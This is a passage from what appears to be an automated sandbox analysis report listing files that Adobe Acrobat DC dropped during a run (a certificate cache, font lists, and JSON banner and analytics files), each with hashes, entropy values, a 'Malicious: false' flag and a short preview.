Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklyVmsKN/ltfllXlE/HT8kh2XNNX8RolJuRdxLlGB9lQRYwpDdt:kKrENteT8oeNMa8RdWBwRd
MD5:	DB931EC66089A821796A0D7E50BFA971
SHA1:	2E5AE368DB0BA6300F786EE6664CC28D4FDD8F59
SHA-256:	71136FCA4A645A006F32F1CC9E6B51657B7638CBF0BE757D380D110DED26343F
SHA-512:	DDD46C24F3636A4A4CEB3CCCE8A4295B5F34E56619FFE800C2956B4C002EE9EBC97BED435513D76EE99F51F529B5DEA60A8A60164E39A200F99368F6E82E1BD1
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6744

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6744

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.371175560303419
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJM3g98kUwPeUkwRe9:YvXKXnN2Zc0v4gGMbLUkee9
MD5:	61B9B69B29C813950053DAA8E2A59AF6
SHA1:	B828BAB1064C0923A220C593AEF79BEBC59626C9
SHA-256:	FFAC2172CE74D05A26A8DFE4E73DA65B1186EC761E78FD854C13935CB821A467
SHA-512:	B261F86BBA2AFDC0D3ED1286DB43C54F45495251339B3EA5A1BF08EFCFE8512F3BEF3C585B510ADDB1613EBB054EC73E3EC0D4A4ED130B7BDD4D6F35F3C6BB28
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.322471558700766
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJfBoTfXpnrPeUkwRe9:YvXKXnN2Zc0v4gGWTfXcUkee9
MD5:	1D34164EE11B74E75268B2A3400A5DA5
SHA1:	4756D2862FE858FF428A60C22E4B02A219988A0A
SHA-256:	6B2336083A71678B9C3746E320C316CEE1AAF6BC21D6373CB12901D48CE63BB2
SHA-512:	FD538EA870C9EFDFB90A96670994FA3F865E3265A24F2455DEFF2A331F5C3959278C5324ED718F1B53897A5BF1AB37B1E24523203984EE14B3142F767375F0D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.300731054058573
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJfBD2G6UpnrPeUkwRe9:YvXKXnN2Zc0v4gGR22cUkee9
MD5:	C55B276DCFD374EF0005E773C22B33A6
SHA1:	E65662EA2312D2B8A0FDAB0025BF165D4186BEE3
SHA-256:	00BBFE3485F255513C5F917CBE49F6A8DE78CC8FE7AB3F339EA11D2165662C10
SHA-512:	C5581E15D408032C1FDDBFC10471154B772AB966895EA81B0F5B553E14FA9541D465C4CE065AF55AE0E55B60791151AAB987591FBD022E5B3EC7A256BE3C68B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.358460177866516
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJfPmwrPeUkwRe9:YvXKXnN2Zc0v4gGH56Ukee9
MD5:	F15B4AD36CE92C57E2E2FF99E17C8EA8
SHA1:	D4B89DC4CA94B1948AC90A12BDC259D942BC8962
SHA-256:	E6E51AE3DEB2BD640F78466124FECF2FDA085DDBAFA44251A740FE7166BB3B89
SHA-512:	7D276BA3B340B91B21EFA861A51AA74CDC3595BDB4D9B5D206F08F397868C9B9323F31CD3FB5F305123B4A7ABE6271AB7D73BBD3E4B323ABB44123F4662E1AC1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689044909142962
Encrypted:	false
SSDEEP:	24:Yv6XN2zv49pLgE9cQx8LennAvzBvkn0RCmK8czOCCSc:YvkuQ9hgy6SAFv5Ah8cv/c
MD5:	2761353374F28646138CDD0BE56B47D7
SHA1:	B819E78FD8119786FD3B2373AD649008D3D8C688
SHA-256:	4F484ACCCEE7E2EBEBF41852DDE449014B617D79EA33E8764AF97B5EA85AC9D7
SHA-512:	A2FC0ECFD9B463FCE0BD5867EF8FF428F3BE670B6FDBFEB30A0F3AA47F3355C3C6975A34F26002A86F889282C111473A725335AC977363A8F7D1ACFA072BC7B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.305743014972756
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJf8dPeUkwRe9:YvXKXnN2Zc0v4gGU8Ukee9
MD5:	B715A8A076824BA60EDE888CB30B6F0C
SHA1:	877593E8F3BD2D698DB9B13795CF9964A91543D9
SHA-256:	BB9523C32B3B4AF0F02DEB20FA1AD2AD66950D0DCEE4CE1FF936DE74FBE345A8
SHA-512:	A820E18A7635AF3E0AE7F565E5AD260E59573446CD05F877C0D0D5A28B462CF8FB79263511FFA6EB2DE0C160E5191A19E60517F022AE9979C32AAFBD04E14E9B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3095664490325305
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJfQ1rPeUkwRe9:YvXKXnN2Zc0v4gGY16Ukee9
MD5:	6F4CDC24A585AE45AA7F0F1B5FC17832
SHA1:	65121F5F0800806441335CA48896D6A449FC0130
SHA-256:	4D1444FE75500D5E29A4D8B513BD1CDC43B1E2004AC8FD6D0F5DF2C364AE0119
SHA-512:	9B2F1AC9BDC3246281A3C4C9800EA41F78FCBD62FEBE485F91B6D933CE18CC721EF4E83F3B7D274E0EF3184379C3D548A54C4E672542F48970D86AA04E4AC8BA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.315046099030166
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJfFldPeUkwRe9:YvXKXnN2Zc0v4gGz8Ukee9
MD5:	5874F4E9A926BBAD6E74CEB40A743D79
SHA1:	B4B565C20EF4FF37C9AC5835DE6B8C29CA18FFFB
SHA-256:	D94AC4B631A0DDB663AFBFD821BA58F5E6D9594915F28D4FD44C095B1493B831
SHA-512:	A344FC4EA987FE689E103B73ABF9913FBF8FBEC917D2B670FB2A26D6B546C111576865CF713E302AD9F7AFCC550BD8C31A7862235DBBA13874672079682C8319
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.331721033933867
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJfzdPeUkwRe9:YvXKXnN2Zc0v4gGb8Ukee9
MD5:	D3950D37B9CB20D6309BFD7D15535820
SHA1:	9CBDCDDE4AB762CBA81A73C73AF8AE24C06C7212
SHA-256:	54620403FDBF23628AB7534D988742B8D57AA8E5ECAE900B573F661FD15FBFF1
SHA-512:	23B3B4906FF1E64A0DFDC4CEC64FCB945D4F1C5660FDA4E98EC79B762C333E23B8F490C6B8A1C4C0C392454060E5D0EC31850709AFB1A63DE0D4DB6840BC3277
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.312327513920847
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJfYdPeUkwRe9:YvXKXnN2Zc0v4gGg8Ukee9
MD5:	5D820FE6D6119BB8ED898DEDB4E1A6BF
SHA1:	EF0DE1FFE5007A77BFD7908DBECE7A5D883D867C
SHA-256:	ACDAC00A018EB783B4B95962A9DED42B87F390243FD07813FFD77650C6982A31
SHA-512:	9859556E926F253E0F98AD913E3249A82C42432AC99A34EDA4CD38E011D8831D35D2CD51614D37388AA781F19337E15332B7BAF3C1AED6AB09F7B5566D728840
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.29859492043951
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJf+dPeUkwRe9:YvXKXnN2Zc0v4gG28Ukee9
MD5:	4BC9E9DD8F4967A031371AF4A06D5085
SHA1:	77283EC3ECE5CEC4C5B3AEA669F128337CF76A37
SHA-256:	EDF168A1C49A8365F1BB6486AEBE2074DFCEC24E337BD59A9F4C01F6D323CBFA
SHA-512:	9A99CCA9C9D42CD863E4CC53F05E89D0AD76BC20E2EEB9DBD564E6CC9D20E9C41096824A0903D442121984A7FAEBC1FC6B82DDBD81D417386A6D772A4D96D4CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.295789886413124
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJfbPtdPeUkwRe9:YvXKXnN2Zc0v4gGDV8Ukee9
MD5:	1E9D667359EE113A6D270F650A2DF74B
SHA1:	B3E417B4EBE06F10EE8EF8667DD35B6EA60C59DA
SHA-256:	099E76F09ECFCABF76CA509ACDB4A30380C16A67268B173D4E88B138EA17602D
SHA-512:	620BE454E27427AFA9305C1CA6E477D36555CB156FEEE9869964671860D74A99EB4D04623B7D78B7B56D2530876BCAD7DFEAFDC7727488E804F5E280837C14F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.300297589640198
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnOKHVoZcg1vRcR0YTfoAvJf21rPeUkwRe9:YvXKXnN2Zc0v4gG+16Ukee9
MD5:	28AEC1B7EA67827F4D3D74A49843F5E7
SHA1:	2F675365B69AAA8906B71E0176001A0CEE2AB6F1
SHA-256:	5D7A127B0A0F7A05426638C86F5E553FB3D29E50547E031DC96C82F3BA77ECEB
SHA-512:	ABB6281DC11EFEE5C77B66D4A72CFEB0999D32653958CB22582AF361EC3B7C1BF95E78E8D5CD601BD513941E0EA58C8A783F28FC256F9EFA2FE13A4F15D10DF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"90d85dc4-5c03-491b-92b1-109a4299ef77","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705133954,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665395546768492
Encrypted:	false
SSDEEP:	24:Yv6XN2zv4FamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSc:YvkuQ5BgkDMUJUAh8cvMc
MD5:	F25FC068B0C1BE8075F092058580A66D
SHA1:	29C2750C4CA4F88619F63B9A3004C3CEFCCD3E40
SHA-256:	04E8B67F1670ED2D263364247D62DE57817CB55A3722D8FCC9B24F34981758A9
SHA-512:	4597F0BBE5E91CCF1BDEB47B8645C25ED57D911D2629056B69BF40479E4DAE5445E1AD4246BDA20E8E407553619C2C6B16A5E2163DF2B987CEF9432403D9D1AF
Malicious:	false
